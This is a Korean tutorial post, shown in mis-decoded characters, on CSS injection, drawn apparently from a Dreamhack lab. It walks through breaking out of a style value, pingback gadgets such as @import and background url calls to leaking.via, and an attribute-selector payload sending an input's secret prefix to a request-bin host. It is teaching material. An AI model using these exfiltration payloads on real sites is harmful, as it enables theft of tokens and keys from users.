[μ·¨μ½μ ] CSS Injection
Cascading Style Sheet (CSS)λ HTMLλ‘ μ μλ λ¬Έμλ₯Ό λ€μ±λ‘κ² νλ μν μ νλ€.
κ°λ°μλ CSSλ‘ HTML μμλ€μ΄ μ¬μ©μμκ² μ΄λ»κ² 보μ¬μ§μ§ μ μν μ μλ€. λ¬Έμμ λ°°κ²½ μ¬μ§, μμμ λΉλ‘―ν΄ λ²νΌμ λ§μ°μ€λ₯Ό μ¬λ €λμμ λ μ΄λ€ μμκ³Ό μλλ‘ ννν μ μλ€.
ννμ μ¬μ©λ μμμ CSS μ½λλ₯Ό μ£Όμ μμΌ μλνμ§ μμ μμ±μ΄ μ μλλ κ²μ CSS Injectionμ΄λΌκ³ νλ€.
CSS Injectionμ XSSμ λΉμ·νκ² μΉ νμ΄μ§ λ‘λ© μ μ μμ μΈ λ¬Έμμ΄μ μ½μ νμ¬ μ μμ μΈ λμμ μ΄λλ 곡격μ΄λ€.
곡격μκ° μμ CSS μμ±μ μ½μ ν΄ μΉνμ΄μ§μ UI (μκΉμ)λ₯Ό λ³μ‘°νκ±°λ CSS μμ±μ λ€μν κΈ°λ₯μ ν΅ν΄ μΉ νμ΄μ§λ΄μ λ°μ΄ν°λ₯Ό μΈλΆλ‘ νμΉ μ μλ€.
μ΄λ CSS Injectionμ ν΅ν΄ νμ·¨ν μ μλ λ°μ΄ν°λ CSRF Token, νΌν΄μμ API Keyλ± μΉ νμ΄μ§μ μ§μ μ μΌλ‘ 보μ¬μ§λ κ°μ²λΌ CSS μ νμ(Selector)λ₯Ό ν΅ν΄ ννμ΄ κ°λ₯ν΄μΌ νλ€.
κ·Έλμ CSS μ νμλ‘ ννμ΄ λΆκ°λ₯ν "script" νκ·Έ λ΄ λ°μ΄ν°λ€μ νμ·¨ν μ μλ€.
(μ νμ: https://velog.io/@rimu/css-css-%EC%84%A0%ED%83%9D%EC%9E%90selector-%EA%B0%9C%EB%85%90-%EC%A0%95%EB%A6%AC )
보ν΅μ μΉ λ°©νλ²½μ κ²½μ° "<script>", "alert", "eval" λ±μ ν€μλλ μ°¨λ¨νμ§λ§, CSS Injectionμ μ£Όλ‘ μ¬μ© λλ "background:", "url" λ±μ ν€μλλ μ°¨λ¨νμ§ μλλ€.
CSS injectionμ HTML (style) μμμ 곡격μκ° μμ μ λ ₯ κ°μ λ£μ μ μκ±°λ μμ HTMLμ μ½μ ν μ μμ§λ§ Content-Security-Policyλ‘ μΈν΄ μλ°μ€ν¬λ¦½νΈλ₯Ό μ€νν μ μλ λ± λ€μν μν©μμ μ¬μ©ν μ μλ€.
- μκΉ λ°κΎΈκΈ° μμ
<style>
body { background-color: ${theme}; }
</style>
<h1>Hello, it's dreame. Interesting with CSS Injection?</h1>
if '<' in theme:
exit(0)
μ΄μ©μλ‘λΆν° theme κ°μ μ λ ₯ λ°μ styleνκ·Έ λ΄μ μΆλ ₯νλ μΉ μ΄ν리μΌμ΄μ μ΄λ€.
themeκ° λ΄μ < λ₯Ό μ λ ₯ν μ μμ΄ μ μλ style νκ·Έλ₯Ό λ²μ΄λλ κ²μ λΆκ°λ₯νμ¬ CSS μμ±λ§ μΆλ ₯ν μ μλ€.
μΈν°λν°λΈ λͺ¨λμ μ΄μ©ν΄ yellow κ°μ νλμ© λ³κ²½ν μ μμ΅λλ€.
- yellowλ₯Ό blueλ‘ λ³κ²½νλ©΄ λ Έλμ λ°°κ²½μμ΄μλ κ²μ΄ νλμμΌλ‘ λ³κ²½λλ€.
- bodyμ background-colorκ° μλ h1μ κΈμ¨ μμ λ³κ²½νλ €λ©΄ } λ¬Έμλ₯Ό μ΄μ©ν΄ κΈ°μ‘΄ μμ±μ νμΆν΄μΌ νλ€.
- yellow; } h1 { color: blue κ°μ μ λ ₯νμ¬ h1λ΄μ κΈμ¨κ° λΉ¨κ°μμΌλ‘ λ³κ²½λ κ²μ νμΈν μ μλ€.
IP Ping Back
ν΄λΌμ΄μΈνΈμ¬μ΄λ 곡격μ ν΅ν΄ λ°μ΄ν°λ₯Ό μΈλΆλ‘ νμ·¨νκΈ° μν΄μλ 곡격μμ μλ²λ‘ μμ²μ λ³΄λΌ μ μμ΄μΌ νλ€.
CSS μμ±μΌλ‘λ μΈλΆ μμ² (Ping Back)μ μ μ‘ν μ μλ€.
CSSλ μΈλΆ 리μμ€λ₯Ό λΆλ¬μ€λ κΈ°λ₯μ μ 곡νλ€.
μλ₯Ό λ€μ΄ λ€λ₯Έ μ¬μ΄νΈμ μ΄λ―Έμ§, ν°νΈ λ±μ΄ μλ€. μ¬λ¬ λ°©λ²μ΄ μ‘΄μ¬νμ§λ§ λνμ μΌλ‘ cure53μ HTTPLeaks κ°μ ―μ μ΄μ©ν μ μλ€.
λ€μ νλ μμ£Ό μ°μ΄λ CSS μμ±μ΄λ€.
@import 'https://leaking.via/css-import-string'; | μΈλΆ CSS νμΌμ λ‘λν©λλ€. λͺ¨λ μμ± μ€ κ°μ₯ μλ¨μ μμΉν΄μΌν©λλ€. κ·Έλ μ§ μμ κ²½μ° @importλ 무μλ©λλ€. |
@import url(https://leaking.via/css-import-url); | url ν¨μλ URLλ₯Ό λΆλ¬μ€λ μν μ ν©λλ€. μν©μ λ°λΌμ μ νμ μΌλ‘ μ¬μ©ν μ μμ΅λλ€. |
background: url(https://leaking.via/css-background); | μμμ λ°°κ²½μ λ³κ²½ν λ μ¬μ©ν μ΄λ―Έμ§λ₯Ό λΆλ¬μ΅λλ€. |
@font-face { font-family: leak; src: url(https://leaking.via/css-font-face-src);} | λΆλ¬μ¬ ν°νΈ νμΌμ μ£Όμλ₯Ό μ§μ ν©λλ€. |
background-image: \000075\000072\00006C(https://leaking.via/css-escape-url-2); | CSS μμ ν¨μλ₯Ό νΈμΆν λ asciiννμ "url"μ΄ μλ hexννμΈ "\000075\000072\00006C"λ μ§μν©λλ€. |
- μ κ°μ ― μ€ νλλ₯Ό μ¬μ©ν΄ νμ΄μ§ λ΄μμ μΈλΆ μλ²λ‘ μμ²μ λ³΄λΌ μ μλ€. μμ²μ λ°μ μλ²λ λλ¦Όν΅ ν΄μ¦μ "Request Bin"μ μ΄μ©νλ€.
- κ°λ°μ λꡬλ₯Ό 미리 λμλκ³ , Networkνμμ μμ²μ κΈ°λ‘ν©λλ€.
- yellow; background: url(https://wybfhvn.request.dreamhack.games/ping-back);λ°κΈ λ°μ μλΈ λλ©μΈ μ£Όμλ‘ bodyμ backgroundλ₯Ό μ€μ ν©λλ€.
- κ°λ°μ λꡬμμ μ€μ΅ λͺ¨λμμ λλ¦Όν΅ ν΄μ¦λ‘ λ³΄λΈ μμ²μ νμΈνκ³ , λλ¦Όν΅ ν΄μ¦ μ¬μ΄νΈμμ ν λ² λ λ°μ μμ²μ νμΈν©λλ€.
λ°μ΄ν° νμ·¨
μ λ ₯ λ°μ€ λ΄μ© νμ·¨
Attribute Selectorλ₯Ό ν΅ν΄ μ λ ₯ λ°μ€ (Input)μ κ° (Value)λ₯Ό νμ·¨ν μ μλ€.
CSS Attribute Selector (νΉμ± μ νμ)
CSS Attribute Selectorλ Elementμ Attributeλ₯Ό Selectionν μ μλ κΈ°λ₯μ μ 곡νλ€.
Figure 6λ νΉμ± μ νμμ ꡬ문μ΄λ€. λ μμΈν μ€λͺ
μ μ¬κΈ°μμ νμΈν μ μλ€.
ꡬ문 | μ€λͺ |
[attr] | attrμ΄λΌλ μ΄λ¦μ νΉμ±μ κ°μ§ μμλ₯Ό μ νν©λλ€. |
[attr=value] | attrμ΄λΌλ μ΄λ¦μ νΉμ±κ°μ΄ μ νν valueμΈ μμλ₯Ό μ νν©λλ€. |
[attr~=value] | attrμ΄λΌλ μ΄λ¦μ νΉμ±κ°μ΄ μ νν valueμΈ μμλ₯Ό μ νν©λλ€. attr νΉμ±μ 곡백μΌλ‘ ꡬλΆν μ¬λ¬ κ°μ κ°μ κ°μ§κ³ μμ μ μμ΅λλ€. |
[attr^=value] | attrμ΄λΌλ νΉμ±κ°μ κ°μ§κ³ μμΌλ©°, μ λμ¬λ‘ valueκ° κ°μ ν¬ν¨λμ΄ μμΌλ©΄ μ΄ μμλ₯Ό μ νν©λλ€. |
[attr$=value] | attrμ΄λΌλ νΉμ±κ°μ κ°μ§κ³ μμΌλ©°, μ λ―Έμ¬λ‘ valueκ° κ°μ ν¬ν¨λμ΄ μμΌλ©΄ μ΄ μμλ₯Ό μ νν©λλ€. |
μ ꡬ문 μ€ [attr^=value] μ μ΄μ©νλ©΄ μ
λ ₯ λ°μ€ λ΄μ©μ νμ·¨ν μ μμ΅λλ€.
- [attr^=value] ꡬ문μ μ΄μ©ν΄ κ°μ₯ 첫 ν κΈμλ₯Ό λ¨Όμ νμ·¨ν©λλ€.
- 1μμ νμ·¨ν κΈμλ₯Ό μ λμ¬λ‘ κ·Έ λ€μ ν κΈμλ₯Ό νμ·¨ν©λλ€.
- 1-2λ₯Ό λ°λ³΅ν©λλ€.
λ€μμ μ μμλ₯Ό μ§ννλ μ€κ° κ³Όμ μ νμ΄λ‘λμ΄λ€.
λΆμ¬λ£μ ν κ°λ°μ λꡬ Network νμ νμΈ νμ¬ νμ·¨νλ €κ³ νλ λ΄μ©μ΄ S3CR3T_μΌλ‘ μμνλ κ²μ μ μ μλ€.
yellow; } input[value^=S3CR3T_] { background: url("https://itxeohf.request.dreamhack.games/lols");
[μ°Έκ³ ]
https://dreamhack.io/lecture/courses/327
Dreamhack | κ°μ | Dreamhack
dreamhack.io
+)
https://www.hahwul.com/cullinan/css-injection/
CSS Injection
Introduction
www.hahwul.com